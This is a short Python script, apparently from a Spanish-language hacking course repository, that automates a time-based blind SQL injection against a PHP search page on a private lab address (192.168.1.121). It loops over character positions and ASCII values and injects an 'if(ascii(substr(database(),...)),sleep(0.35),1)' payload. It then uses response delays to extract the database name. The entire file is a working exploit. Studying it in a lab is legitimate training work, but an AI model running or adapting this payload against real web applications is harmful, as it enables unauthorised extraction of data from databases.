infosec/Introduccion-hacking-hack4u/tema_6_owasp/01_sqli/sqli_time.py

66 lines
1.3 KiB
Python
Raw Normal View History

2024-02-12 22:18:28 +01:00
#!/usr/bin/env python
"""
Este script realiza una inyección SQL de tipo Time-Based Blind SQL Injection
"""
import requests
import signal
import sys
import time
import string
from pwn import *
def signal_handler(signal, frame):
"""
Salir con Ctrl+C
"""
print('Saliendo con Ctrl+C!')
sys.exit(0)
signal.signal(signal.SIGINT, signal_handler)
# Variables globales
main_url = "http://192.168.1.121/searchUsers2.php"
characters = string.printable
def makeSQLI():
p1 = log.progress("Fuerza bruta")
p1.status("Fuerza bruta en proceso")
time.sleep(2)
p2 = log.progress(f"Datos extraídos")
extracted_info = ""
for position in range(1, 10):
for character in range(33, 126):
sqli_url = main_url + \
"?id=1 and if(ascii(substr(database(),%d,1))=%d,sleep(0.35),1)" % (
position, character)
p1.status(
f"\n[i] Probando posición {position} el carácter: {chr(character)}")
time_start = time.time()
r = requests.get(sqli_url)
time_end = time.time()
if time_end - time_start > 0.35:
extracted_info += chr(character)
p2.status(extracted_info)
break
if __name__ == "__main__":
makeSQLI()